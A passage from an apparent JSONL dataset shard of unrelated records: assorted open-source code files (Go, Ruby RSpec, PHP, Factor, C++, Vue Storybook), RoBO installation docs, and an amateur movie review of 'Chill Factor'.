Release|Durango\n\t\t{8424AED1-3DBF-44FA-9CF9-7FBDF1C18596}.Release|Durango.Build.0 = Release|Durango\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"} +{"text": "/* eslint-disable import/no-extraneous-dependencies */\nimport { storiesOf } from '@storybook/vue';\nimport { withKnobs, number } from '@storybook/addon-knobs';\n\nimport CountBadge from './countBadge.vue';\n\nconst stories = storiesOf('Count Badge', module);\n\nstories.addDecorator(withKnobs);\n\nstories\n .add('simple', () => ({\n components: { CountBadge },\n template: `\n
    \n \n
    \n `,\n }))\n .add('bind count', () => ({\n components: { CountBadge },\n template: `\n
    \n \n
    \n `,\n props: {\n count: {\n default: number('Count', 3),\n },\n },\n }));\n"} +{"text": "export { default as clearHash } from \"./clearHash\";\nexport { default as createContextHOC } from \"./createContextHOC\";\nexport { default as detectCountScript } from \"./detectCountScript\";\nexport { default as getModerationLink, QUEUE_NAME } from \"./getModerationLink\";\nexport { default as getParamsFromHash } from \"./getParamsFromHash\";\nexport { default as getParamsFromHashAndClearIt } from \"./getParamsFromHashAndClearIt\";\nexport { default as getURLWithCommentID } from \"./getURLWithCommentID\";\nexport { default as getViewer } from \"./getViewer\";\nexport { default as getViewerSourceID } from \"./getViewerSourceID\";\nexport { default as injectConditionalPolyfills } from \"./injectConditionalPolyfills\";\nexport { default as onPymMessage } from \"./onPymMessage\";\nexport { default as polyfillCSSVars } from \"./polyfillCSSVars\";\nexport { default as polyfillIntlLocale } from \"./polyfillIntlLocale\";\nexport { default as potentiallyInjectAxe } from \"./potentiallyInjectAxe\";\nexport { default as redirectOAuth2 } from \"./redirectOAuth2\";\nexport { default as resolveStoryURL } from \"./resolveStoryURL\";\nexport { default as roleIsAtLeast } from \"./roleIsAtLeast\";\nexport { default as urls } from \"./urls\";\n"} +{"text": "package cfnetworking\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\n\t\"code.cloudfoundry.org/cfnetworking-cli-api/cfnetworking/networkerror\"\n)\n\n// errorWrapper is the wrapper that converts responses with 4xx and 5xx status\n// codes to an error.\ntype errorWrapper struct {\n\tconnection Connection\n}\n\nfunc NewErrorWrapper() *errorWrapper {\n\treturn new(errorWrapper)\n}\n\n// Wrap wraps a Cloud Controller connection in this error handling wrapper.\nfunc (e *errorWrapper) Wrap(innerconnection Connection) Connection {\n\te.connection = innerconnection\n\treturn e\n}\n\n// Make converts RawHTTPStatusError, which represents responses with 4xx and\n// 5xx status codes, to specific errors.\nfunc (e *errorWrapper) Make(request *Request, passedResponse *Response) error {\n\terr := e.connection.Make(request, passedResponse)\n\n\tif rawHTTPStatusErr, ok := err.(networkerror.RawHTTPStatusError); ok {\n\t\treturn convert(rawHTTPStatusErr)\n\t}\n\treturn err\n}\n\nfunc convert(rawHTTPStatusErr networkerror.RawHTTPStatusError) error {\n\t// Try to unmarshal the raw error into a CC error. If unmarshaling fails,\n\t// return the raw error.\n\tvar errorResponse networkerror.ErrorResponse\n\terr := json.Unmarshal(rawHTTPStatusErr.RawResponse, &errorResponse)\n\tif err != nil {\n\t\treturn rawHTTPStatusErr\n\t}\n\n\tswitch rawHTTPStatusErr.StatusCode {\n\tcase http.StatusBadRequest: // 400\n\t\treturn networkerror.BadRequestError(errorResponse)\n\tcase http.StatusUnauthorized: // 401\n\t\treturn networkerror.UnauthorizedError(errorResponse)\n\tcase http.StatusForbidden: // 403\n\t\treturn networkerror.ForbiddenError(errorResponse)\n\tcase http.StatusNotAcceptable: // 406\n\t\treturn networkerror.NotAcceptableError(errorResponse)\n\tcase http.StatusConflict: // 409\n\t\treturn networkerror.ConflictError(errorResponse)\n\tdefault:\n\t\treturn networkerror.UnexpectedResponseError{\n\t\t\tErrorResponse: errorResponse,\n\t\t\tRequestIDs: rawHTTPStatusErr.RequestIDs,\n\t\t\tResponseCode: rawHTTPStatusErr.StatusCode,\n\t\t}\n\t}\n}\n"} +{"text": "i heard actor skeet ulrich discussing this film in a couple of interviews , and in both instances , he felt the strange compulsion to compare it a little series of films called lethal weapon . \nnow , i personally remember those films as a ) starring a major motion picture star b ) being funny c ) having great action sequences d ) great chemistry e ) decent character development . \nhmmm . . . . okay . . . now on to my review of chill factor . \nplot : a graveyard shift regular working joe and ice cream truck driver fall onto a malicious plan by an ex-army general , to propose a nuclear device to international prospects . \nwhen the device suddenly falls into their reluctant laps , they must keep it cool on ice , and rush it over to an army base , before the contraption ticks over 50 degrees fahrenheit , and kills millions of people . \ncritique : \" speed on an ice-cream truck \" is probably the pitch that was used to sell this one-tone movie to its backers , but unfortunately , the only way that anyone could compare this film to that tension-filled , original two hours of cinema , is in its distinct honor of being the complete opposite of what that film , and the lethal weapon movies , stood for . \nthis film is seasoned in cliches , with plenty of badly written dialogue , over the top acting from cuba gooding jr . , zero chemistry between the two leads , and horribly tacky bad guys , tossed in to complete an overall bad movie recipe . \nmy friend and i enjoyed watching this movie to a certain extent , because some of the lines in it were so bad and obviously \" written \" , that we just had to crack up . \nthat , and the formula for the film's script which followed the proverbial 1-2- , and you guessed it . . . 3 scenario ! \nand what about all those catchy , hip names to get us to relate to the characters . . . . \" elvis \" \nand \" nighshift \" , oh what talent lies in the minds of these screenwriters ( and yes , it actually took two guys to come up with this regurgitated drivel ) . \nit is unfathomable to me as to how actors skeet ulrich and cuba gooding jr . got involved in this one-week-old-blue-cheese-smelling project . \ndid they actually think that it would boost their careers , or did they know that the script sucked , but discounted any fall from grace , knowing full well that the stack of cash in their back pockets would pad their fall ? \nmost probably the latter . \nhave you seen either fled or bulletproof ? \nwell , despite the slight differences in plot , the essentials are basically the same here . \nyou get a black guy and a white guy being chased by a bunch of people , having no choice but to work together to get somewhere , hating each other at first , but over time , learning to respect one another as individuals . \nyawn . \nadd to that , the fact that our film actually has bad guys who are all dressed in black , drive black cars and black vans , and run around with all kinds of telecommunicative devices sprinkled around their head . \nnot too conspicuous , eh ? \ncall me a party-pooper , but as much as i like a nice cheezy movie as much as the next guy , this film just doesn't even try to do anything original or reasonably entertaining . \none cool scene with a boat careening down a mountainside , and another with a nuclear device obliterating everything on an island , do not a fun , buddy-action flick make . \nshow cuba the money , everybody ! \n : ) \nlittle known facts about this film and its stars : this is not a little known fact or anything , but damn , is it just me or does skeet ulrich look an awful lot like great-looking actor johnny depp ? \nskeet's real-life nicknames include chester , skeeter and mosquito . \nhe stands 6'1 \" , was born in north carolina , and got married in 1997 to that sex-kitten actress from clay pigeons ( 7 . 5/10 ) , \ngeorgina cates . \nthey own a farm together in virginia and seven dogs . \nskeet has a long scar on his chest from open-heart surgery done when he was 10 to correct a ventricle defect . \nactor cuba gooding jr . was born in the bronx , new york . \nin 1984 , he break-danced during the closing ceremonies of the olympic games in los angeles . \nhe stands 5'10 \" . \nactress hudson leick , who plays one of the \" bad guys/girls \" in his movie , is better known from her role as \" callisto \" on the popular tv series \" xena : princess warrior \" . \nthis film reportedly had a budget of $40 million ? ? \ni'm not exactly sure where all this money went , but it certainly did not register onscreen . \ninterestingly enough , director hugh johnson , who makes his big screen debut with this film , was the cinematographer on the 1996 film white squall and the 1997 demi moore vehicle , g . i . \njane ( 6 . 5/10 ) . \n"} +{"text": ".. raw:: html\n\n \"Fork\n\n\nInstallation\n============\n\nDependencies\n------------\nRoBO needs the following dependencies to be installed for it’s core functionality.\n\n* scipy >= 0.12\n* numpy >= 1.7\n* direct\n* cma\n* george\n* emcee\n\nAdditionally RoBO has some optional dependencies that are only needed for specific modules:\n\n* cython\n* `pyrfr `_\n* theano\n* matplotlib\n* lasagne\n* `sgmcmc `_\n* `hpolib2 `_\n\n**Note**: RoBO works only with Python3. Python2 is not supported anymore.\n\n\nManual Installation\n-------------------\n\nRoBO uses the Gaussian processes library `george `_ and the random forests library `pyrfr `_. In order to use this library make sure the libeigen and swig are installed:\n\n.. code:: bash\n\n sudo apt-get install libeigen3-dev swig gfortran\n\nDownload RoBO and then change into the new directory:\n\n.. code:: bash\n\n\tgit clone https://github.com/automl/RoBO\n\tcd RoBO/\n\nBefore you install RoBO you have to install the required dependencies. We use a for loop because we want to preserve the installation order of the list of dependencies in the requirments file.\n\n.. code:: bash\n\n for req in $(cat requirements.txt); do pip install $req; done\n\nThis will install the basis requirements that you need to run RoBO's core functionality. If you want to make\nuse of the full functionality (for instance Bohamiann, Fabolas, ...) you can install all necessary dependencies\nby:\n\n.. code:: bash\n \n for req in $(cat all_requirements.txt); do pip install $req; done\n\n**Note**: This may take a while to install all dependencies.\n\nFinally you can install RoBO by:\n\n.. code:: bash\n\n python setup.py install\n\n\nTesting\n-------\n\nYou can run all the tests using `nose `_ . Just run the following commands in the RoBO directory:\n\n.. code:: bash\n\n\tcd test/\n\tnosetests\n"} +{"text": "package unifiedapierrors\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\n\t\"github.com/inverse-inc/packetfence/go/sharedutils\"\n)\n\ntype UnifiedAPIError struct {\n\tMessage string `json:\"message\"`\n}\n\nfunc Error(res http.ResponseWriter, msg string, statusCode int) {\n\tapiError := UnifiedAPIError{Message: msg}\n\tdata, err := json.Marshal(apiError)\n\tsharedutils.CheckError(err)\n\n\thttp.Error(res, string(data), statusCode)\n}\n"} +{"text": "module RSpec::Expectations\n RSpec.describe FailureAggregator, \"when used via `aggregate_failures`\" do\n it 'does not raise an error when no expectations fail' do\n expect {\n aggregate_failures do\n expect(1).to be_odd\n expect(2).to be_even\n expect(3).to be_odd\n end\n }.not_to raise_error\n end\n\n it 'aggregates multiple failures into one exception that exposes all the failures' do\n expect {\n aggregate_failures('block label', :some => :metadata) do\n expect(1).to be_even\n expect(2).to be_odd\n expect(3).to be_even\n end\n }.to raise_error(an_object_having_attributes(\n :class => MultipleExpectationsNotMetError,\n :failures => [\n an_object_having_attributes(:message => \"expected `1.even?` to return true, got false\"),\n an_object_having_attributes(:message => \"expected `2.odd?` to return true, got false\"),\n an_object_having_attributes(:message => \"expected `3.even?` to return true, got false\")\n ],\n :other_errors => [],\n :aggregation_block_label => 'block label',\n :aggregation_metadata => { :some => :metadata }\n ))\n end\n\n it 'ensures the exposed failures have backtraces' do\n aggregation_line = __LINE__ + 2\n expect {\n aggregate_failures do\n expect(1).to be_even\n expect(2).to be_odd\n expect(3).to be_even\n end\n }.to raise_error do |error|\n expect(error.failures.map(&:backtrace)).to match [\n a_collection_including(a_string_including(__FILE__, (aggregation_line + 1).to_s)),\n a_collection_including(a_string_including(__FILE__, (aggregation_line + 2).to_s)),\n a_collection_including(a_string_including(__FILE__, (aggregation_line + 3).to_s))\n ]\n end\n end\n\n def common_contiguous_frame_percent(failure, aggregate)\n failure_frames = failure.backtrace.reverse\n aggregate_frames = aggregate.backtrace.reverse\n\n first_differing_index = failure_frames.zip(aggregate_frames).index { |f, a| f != a }\n 100 * (first_differing_index / failure_frames.count.to_f)\n end\n\n it 'ensures the sub-failure backtraces are in a form that overlaps with the aggregated failure backtrace' do\n # On JRuby, `caller` and `raise` backtraces can differ significantly --\n # I've seen one include java frames but not the other -- and as a result,\n # the backtrace truncation rspec-core does (based on the common part) fails\n # and produces undesirable output. This spec is a guard against that.\n\n expect {\n aggregate_failures do\n expect(1).to be_even\n expect(2).to be_odd\n end\n }.to raise_error do |error|\n failure_1, failure_2 = error.failures\n expect(common_contiguous_frame_percent(failure_1, error)).to be > 70\n expect(common_contiguous_frame_percent(failure_2, error)).to be > 70\n end\n end\n\n def notify_error_with(backtrace)\n exception = Exception.new\n exception.set_backtrace backtrace\n RSpec::Support.notify_failure(exception)\n end\n\n it 'does not stomp the backtrace on failures that have it' do\n backtrace = [\"./foo.rb:13\"]\n\n expect {\n aggregate_failures do\n notify_error_with(backtrace)\n notify_error_with(backtrace)\n end\n }.to raise_error do |error|\n expect(error.failures.map(&:backtrace)).to eq([backtrace, backtrace])\n end\n end\n\n it 'supports nested `aggregate_failures` blocks' do\n expect {\n aggregate_failures(\"outer\") do\n aggregate_failures(\"inner 2\") do\n expect(2).to be_odd\n expect(3).to be_even\n end\n\n aggregate_failures(\"inner 1\") do\n expect(1).to be_even\n end\n\n expect(1).to be_even\n end\n }.to raise_error do |error|\n aggregate_failures(\"failure expectations\") do\n expect(error.failures.count).to eq(3)\n expect(error.failures[0]).to be_an_instance_of(RSpec::Expectations::MultipleExpectationsNotMetError)\n expect(error.failures[0].failures.count).to eq(2)\n expect(error.failures[1]).to be_an_instance_of(RSpec::Expectations::ExpectationNotMetError)\n expect(error.failures[2]).to be_an_instance_of(RSpec::Expectations::ExpectationNotMetError)\n end\n end\n end\n\n it 'raises a normal `ExpectationNotMetError` when only one expectation fails' do\n expect {\n aggregate_failures do\n expect(1).to be_odd\n expect(2).to be_odd\n expect(3).to be_odd\n end\n }.to fail_with(\"expected `2.odd?` to return true, got false\")\n end\n\n context \"when multiple exceptions are notified with the same `:source_id`\" do\n it 'keeps only the first' do\n expect {\n aggregate_failures do\n RSpec::Support.notify_failure(StandardError.new(\"e1\"), :source_id => \"1\")\n RSpec::Support.notify_failure(StandardError.new(\"e2\"), :source_id => \"2\")\n RSpec::Support.notify_failure(StandardError.new(\"e3\"), :source_id => \"1\")\n RSpec::Support.notify_failure(StandardError.new(\"e4\"), :source_id => \"1\")\n end\n }.to raise_error do |e|\n expect(e.failures).to match [\n an_object_having_attributes(:message => \"e1\"),\n an_object_having_attributes(:message => \"e2\")\n ]\n end\n end\n end\n\n context \"when an error other than an expectation failure occurs\" do\n def expect_error_included_in_aggregated_failure(error)\n expect {\n aggregate_failures do\n expect(2).to be_odd\n raise error\n end\n }.to raise_error(an_object_having_attributes(\n :class => MultipleExpectationsNotMetError,\n :failures => [an_object_having_attributes(\n :message => \"expected `2.odd?` to return true, got false\"\n )],\n :other_errors => [error]\n ))\n end\n\n it \"includes the error in the raised aggregated failure when an expectation failed as well\" do\n expect_error_included_in_aggregated_failure StandardError.new(\"boom\")\n end\n\n it \"handles direct `Exceptions` and not just `StandardError` and descendents\" do\n expect_error_included_in_aggregated_failure Exception.new(\"boom\")\n end\n\n it \"allows the error to propagate as-is if there have been no expectation failures so far\" do\n error = StandardError.new(\"boom\")\n\n expect {\n aggregate_failures do\n raise error\n end\n }.to raise_error(error)\n end\n\n it \"prevents later expectations from even running\" do\n error = StandardError.new(\"boom\")\n later_expectation_executed = false\n\n expect {\n aggregate_failures do\n raise error\n\n later_expectation_executed = true # rubocop:disable Lint/UnreachableCode\n expect(1).to eq(1)\n end\n }.to raise_error(error)\n\n expect(later_expectation_executed).to be false\n end\n\n it 'provides an `all_exceptions` array containing failures and other errors' do\n error = StandardError.new(\"boom\")\n\n expect {\n aggregate_failures do\n expect(2).to be_odd\n raise error\n end\n }.to raise_error do |aggregate_error|\n expect(aggregate_error).to have_attributes(\n :class => MultipleExpectationsNotMetError,\n :all_exceptions => [\n an_object_having_attributes(:message => \"expected `2.odd?` to return true, got false\"),\n error\n ]\n )\n end\n end\n end\n\n context \"when an expectation failure happens in another thread\" do\n # On Ruby 2.5+, the new `report_on_exception` causes the errors in the threads\n # to print warnings, which our rspec-support test harness converts into a test\n # failure since we want to enforce warnings-free code. To prevent the warning,\n # we need to disable the setting here.\n if Thread.respond_to?(:report_on_exception)\n around do |example|\n orig = Thread.report_on_exception\n Thread.report_on_exception = false\n example.run\n Thread.report_on_exception = orig\n end\n end\n\n it \"includes the failure in the failures array if there are other failures\" do\n expect {\n aggregate_failures do\n expect(1).to be_even\n Thread.new { expect(2).to be_odd }.join\n end\n }.to raise_error(an_object_having_attributes(\n :class => MultipleExpectationsNotMetError,\n :failures => [\n an_object_having_attributes(:message => \"expected `1.even?` to return true, got false\"),\n an_object_having_attributes(:message => \"expected `2.odd?` to return true, got false\")\n ],\n :other_errors => []\n ))\n end\n\n it \"propagates it as-is if there are no other failures or errors\" do\n expect {\n aggregate_failures { Thread.new { expect(2).to be_odd }.join }\n }.to fail_with(\"expected `2.odd?` to return true, got false\")\n end\n end\n\n describe \"message formatting\" do\n it \"enumerates the failures with an index label, the path of each failure and a blank line in between\" do\n expect {\n aggregate_failures do\n expect(1).to be_even\n expect(2).to be_odd\n expect(3).to be_even\n end\n }.to fail_including { dedent <<-EOS }\n | 1) expected `1.even?` to return true, got false\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 6}#{exception_complement(5)}\n |\n | 2) expected `2.odd?` to return true, got false\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 8}#{exception_complement(5)}\n |\n | 3) expected `3.even?` to return true, got false\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 10}#{exception_complement(5)}\n EOS\n end\n\n it 'mentions how many failures there are' do\n expect {\n aggregate_failures do\n expect(1).to be_even\n expect(2).to be_odd\n expect(3).to be_even\n end\n }.to fail_including { dedent <<-EOS }\n |Got 3 failures from failure aggregation block:\n |\n | 1) expected `1.even?` to return true, got false\n EOS\n end\n\n it 'allows the user to name the `aggregate_failures` block' do\n expect {\n aggregate_failures(\"testing odd vs even\") do\n expect(1).to be_even\n expect(2).to be_odd\n expect(3).to be_even\n end\n }.to fail_including { dedent <<-EOS }\n |Got 3 failures from failure aggregation block \"testing odd vs even\":\n |\n | 1) expected `1.even?` to return true, got false\n EOS\n end\n\n context \"when another error has occcured\" do\n it 'includes it in the failure message' do\n expect {\n aggregate_failures do\n expect(1).to be_even\n raise \"boom\"\n end\n }.to fail_including { dedent <<-EOS }\n |Got 1 failure and 1 other error from failure aggregation block:\n |\n | 1) expected `1.even?` to return true, got false\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 7}#{exception_complement(6)}\n |\n | 2) RuntimeError: boom\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 9}#{exception_complement(6)}\n EOS\n end\n end\n\n context \"when the failure messages have multiple lines\" do\n RSpec::Matchers.define :fail_with_multiple_lines do\n match { false }\n failure_message do |actual|\n \"line 1\\n#{actual}\\nline 3\"\n end\n end\n\n it \"indents them appropriately so that they still line up\" do\n expect {\n aggregate_failures do\n expect(:a).to fail_with_multiple_lines\n expect(:b).to fail_with_multiple_lines\n end\n }.to fail_including { dedent <<-EOS }\n | 1) line 1\n | a\n | line 3\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 7}#{exception_complement(6)}\n |\n | 2) line 1\n | b\n | line 3\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 11}#{exception_complement(6)}\n EOS\n end\n\n it 'accounts for the width of the index when indenting' do\n expect {\n aggregate_failures do\n 1.upto(10) do |i|\n expect(i).to fail_with_multiple_lines\n end\n end\n }.to fail_including { dedent <<-EOS }\n | 9) line 1\n | 9\n | line 3\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 7}#{exception_complement(7)}\n |\n | 10) line 1\n | 10\n | line 3\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 12}#{exception_complement(7)}\n EOS\n end\n end\n\n context \"when the failure messages starts and ends with line breaks (as the `eq` failure message does)\" do\n before do\n expect { expect(1).to eq(2) }.to fail_with(\n a_string_starting_with(\"\\n\") & ending_with(\"\\n\")\n )\n end\n\n it 'strips the excess line breaks so that it formats well' do\n expect {\n aggregate_failures do\n expect(1).to eq 2\n expect(1).to eq 3\n expect(1).to eq 4\n end\n }.to fail_including { dedent <<-EOS }\n | 1) expected: 2\n | got: 1\n |\n | (compared using ==)\n |\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 10}#{exception_complement(6)}\n |\n | 2) expected: 3\n | got: 1\n |\n | (compared using ==)\n |\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 16}#{exception_complement(6)}\n |\n | 3) expected: 4\n | got: 1\n |\n | (compared using ==)\n |\n | ./spec/rspec/expectations/failure_aggregator_spec.rb:#{__LINE__ - 22}#{exception_complement(6)}\n EOS\n end\n end\n\n # Use a normal `expect(...).to include` expectation rather than\n # a composed matcher here. This provides better failure output\n # because `MultipleExpectationsNotMetError#message` is lazily\n # computed (rather than being computed in `initialize` and passed\n # to `super`), which causes the `inspect` output of the exception\n # to not include the message for some reason.\n def fail_including\n fail { |e| expect(e.message).to include(yield) }\n end\n\n # Each Ruby version return a different exception complement.\n # This method gets the current version and return the\n # right complement.\n if RSpec::Support::Ruby.mri? && RUBY_VERSION > \"1.8.7\"\n def exception_complement(block_levels)\n \":in `block (#{block_levels} levels) in '\"\n end\n elsif RSpec::Support::Ruby.mri?\n def exception_complement(block_levels)\n \"\"\n end\n elsif RUBY_VERSION > \"2.0.0\"\n def exception_complement(block_levels)\n \":in `block in Expectations'\"\n end\n else\n def exception_complement(block_levels)\n \":in `Expectations'\"\n end\n end\n end\n end\nend\n"} +{"text": "! Copyright (C) 2008, 2010 Slava Pestov, 2011 Alex Vondrak.\n! See http://factorcode.org/license.txt for BSD license.\nUSING: assocs accessors arrays classes classes.algebra\ncombinators fry generic.parser kernel math namespaces\nquotations sequences slots words make sets\ncompiler.cfg\ncompiler.cfg.instructions\ncompiler.cfg.instructions.syntax\ncompiler.cfg.gvn.graph ;\nFROM: sequences.private => set-array-nth ;\nIN: compiler.cfg.gvn.expressions\n\n<<\n\nGENERIC: >expr ( insn -- expr )\n\n: input-values ( slot-specs -- slot-specs' )\n [ type>> { use literal } member-eq? ] filter ;\n\n: slot->expr-quot ( slot-spec -- quot )\n [ name>> reader-word 1quotation ]\n [\n type>> {\n { use [ [ vreg>vn ] ] }\n { literal [ [ ] ] }\n } case\n ] bi append ;\n\n: narray-quot ( length -- quot )\n [\n [ , [ f ] % ]\n [\n dup [\n - 1 - , [ swap [ set-array-nth ] keep ] %\n ] with each\n ] bi\n ] [ ] make ;\n\n: >expr-quot ( insn slot-specs -- quot )\n [\n [ literalize , \\ swap , ]\n [\n [ [ slot->expr-quot ] map cleave>quot % ]\n [ length 1 + narray-quot % ]\n bi\n ] bi*\n ] [ ] make ;\n\n: define->expr-method ( insn slot-specs -- )\n [ drop \\ >expr create-method-in ] [ >expr-quot ] 2bi define ;\n\ninsn-classes get\n[ foldable-insn class<= ] filter\n{ ##copy ##load-integer ##load-reference } diff\n[\n dup \"insn-slots\" word-prop input-values\n define->expr-method\n] each\n\n>>\n\nTUPLE: integer-expr value ;\n\nC: integer-expr\n\nTUPLE: reference-expr value ;\n\nC: reference-expr\n\nM: reference-expr equal?\n over reference-expr? [\n [ value>> ] bi@\n 2dup [ float? ] both?\n [ fp-bitwise= ] [ eq? ] if\n ] [ 2drop f ] if ;\n\nM: reference-expr hashcode*\n nip value>> dup float? [ double>bits ] [ identity-hashcode ] if ;\n\nM: insn >expr drop input-expr-counter counter neg ;\n\nM: ##copy >expr \"Fail\" throw ;\n\nM: ##load-integer >expr val>> ;\n\nM: ##load-reference >expr obj>> ;\n\n! TODO experiment with sorting, in case that identifies more\n! phi equivalences\n\nM: ##phi >expr\n inputs>> values [ vreg>vn ] map\n basic-block get number>> prefix\n ##phi prefix ;\n"} +{"text": "//-------------------------------------------------------------------------------------------------------\n// Copyright (C) Microsoft. All rights reserved.\n// Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n//-------------------------------------------------------------------------------------------------------\n#pragma once\n\n// The following macros define the minimum required platform. The minimum required platform\n// is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run\n// your application. The macros work by enabling all features available on platform versions up to and\n// including the version specified.\n\n// Modify the following defines if you have to target a platform prior to the ones specified below.\n// Refer to MSDN for the latest info on corresponding values for different platforms.\n#ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista.\n#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.\n#endif\n\n"} +{"text": " \n\n\n \n\n \n \n\n \n\n \n \n \n \n \n \n coId\n \n \n \n \n \n instanceMetadata\n coId\n \n .\n mydoc/mynode\n \n \n \n \n\n \n \n \n\n \n\n"} +{"text": "\n * @author Adam Pedersen (Issue 55 fix)\n */\nclass Minify_Lines {\n\n /**\n * Add line numbers in C-style comments\n *\n * This uses a very basic parser easily fooled by comment tokens inside\n * strings or regexes, but, otherwise, generally clean code will not be \n * mangled. URI rewriting can also be performed.\n *\n * @param string $content\n * \n * @param array $options available options:\n * \n * 'id': (optional) string to identify file. E.g. file name/path\n *\n * 'currentDir': (default null) if given, this is assumed to be the\n * directory of the current CSS file. Using this, minify will rewrite\n * all relative URIs in import/url declarations to correctly point to\n * the desired files, and prepend a comment with debugging information about\n * this process.\n * \n * @return string \n */\n public static function minify($content, $options = array()) \n {\n $id = (isset($options['id']) && $options['id'])\n ? $options['id']\n : '';\n $content = str_replace(\"\\r\\n\", \"\\n\", $content);\n\n // Hackily rewrite strings with XPath expressions that are\n // likely to throw off our dumb parser (for Prototype 1.6.1).\n $content = str_replace('\"/*\"', '\"/\"+\"*\"', $content);\n $content = preg_replace('@([\\'\"])(\\\\.?//?)\\\\*@', '$1$2$1+$1*', $content);\n\n $lines = explode(\"\\n\", $content);\n $numLines = count($lines);\n // determine left padding\n $padTo = strlen((string) $numLines); // e.g. 103 lines = 3 digits\n $inComment = false;\n $i = 0;\n $newLines = array();\n while (null !== ($line = array_shift($lines))) {\n if (('' !== $id) && (0 == $i % 50)) {\n array_push($newLines, '', \"/* {$id} */\", '');\n }\n ++$i;\n $newLines[] = self::_addNote($line, $i, $inComment, $padTo);\n $inComment = self::_eolInComment($line, $inComment);\n }\n $content = implode(\"\\n\", $newLines) . \"\\n\";\n \n // check for desired URI rewriting\n if (isset($options['currentDir'])) {\n require_once 'Minify/CSS/UriRewriter.php';\n Minify_CSS_UriRewriter::$debugText = '';\n $content = Minify_CSS_UriRewriter::rewrite(\n $content\n ,$options['currentDir']\n ,isset($options['docRoot']) ? $options['docRoot'] : $_SERVER['DOCUMENT_ROOT']\n ,isset($options['symlinks']) ? $options['symlinks'] : array()\n );\n $content = \"/* Minify_CSS_UriRewriter::\\$debugText\\n\\n\" \n . Minify_CSS_UriRewriter::$debugText . \"*/\\n\"\n . $content;\n }\n \n return $content;\n }\n \n /**\n * Is the parser within a C-style comment at the end of this line?\n *\n * @param string $line current line of code\n * \n * @param bool $inComment was the parser in a comment at the\n * beginning of the line?\n *\n * @return bool\n */\n private static function _eolInComment($line, $inComment)\n {\n while (strlen($line)) {\n $search = $inComment\n ? '*/'\n : '/*';\n $pos = strpos($line, $search);\n if (false === $pos) {\n return $inComment;\n } else {\n if ($pos == 0\n || ($inComment\n ? substr($line, $pos, 3)\n : substr($line, $pos-1, 3)) != '*/*')\n {\n $inComment = ! $inComment;\n }\n $line = substr($line, $pos + 2);\n }\n }\n return $inComment;\n }\n \n /**\n * Prepend a comment (or note) to the given line\n *\n * @param string $line current line of code\n *\n * @param string $note content of note/comment\n * \n * @param bool $inComment was the parser in a comment at the\n * beginning of the line?\n *\n * @param int $padTo minimum width of comment\n * \n * @return string\n */\n private static function _addNote($line, $note, $inComment, $padTo)\n {\n return $inComment\n ? '/* ' . str_pad($note, $padTo, ' ', STR_PAD_RIGHT) . ' *| ' . $line\n : '/* ' . str_pad($note, $padTo, ' ', STR_PAD_RIGHT) . ' */ ' . $line;\n }\n}\n"} +{"text": "/*\n * Copyright Red Hat Inc. and/or its affiliates and other contributors\n * as indicated by the authors tag. All rights reserved.\n *\n * This copyrighted material is made available to anyone wishing to use,\n * modify, copy, or redistribute it subject to the terms and conditions\n * of the GNU General Public License version 2.\n * \n * This particular file is subject to the \"Classpath\" exception as provided in the \n * LICENSE file that accompanied this code.\n * \n * This program is distributed in the hope that it will be useful, but WITHOUT A\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A\n * PARTICULAR PURPOSE. See the GNU General Public License for more details.\n * You should have received a copy of the GNU General Public License,\n * along with this distribution; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n * MA 02110-1301, USA.\n */\n@noanno\nclass Bug1768(){\n late object dummy{}\n }\n"} +{"text": "/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************/\n\n#pragma once\n\n#include \"cyber/common/macros.h\"\n\nnamespace apollo {\nnamespace common {\nnamespace util {\n\nclass TimeUtil {\n public:\n // @brief: UNIX timestamp to GPS timestamp, in seconds.\n static double Unix2Gps(double unix_time) {\n double gps_time = unix_time - UNIX_GPS_DIFF;\n if (unix_time < LEAP_SECOND_TIMESTAMP) {\n gps_time -= 1.0;\n }\n return gps_time;\n }\n\n // @brief: GPS timestamp to UNIX timestamp, in seconds.\n static double Gps2Unix(double gps_time) {\n double unix_time = gps_time + UNIX_GPS_DIFF;\n if (unix_time + 1 < LEAP_SECOND_TIMESTAMP) {\n unix_time += 1.0;\n }\n return unix_time;\n }\n\n private:\n // unix timestamp(1970.01.01) is different from gps timestamp(1980.01.06)\n static const int UNIX_GPS_DIFF = 315964782;\n // unix timestamp(2016.12.31 23:59:59(60) UTC/GMT)\n static const int LEAP_SECOND_TIMESTAMP = 1483228799;\n\n DISALLOW_COPY_AND_ASSIGN(TimeUtil);\n};\n\n} // namespace util\n} // namespace common\n} // namespace apollo\n"} +{"text": "# Copyright 2018 Free Software Foundation, Inc.\n#\n# This file is part of GNU Radio\n#\n# SPDX-License-Identifier: 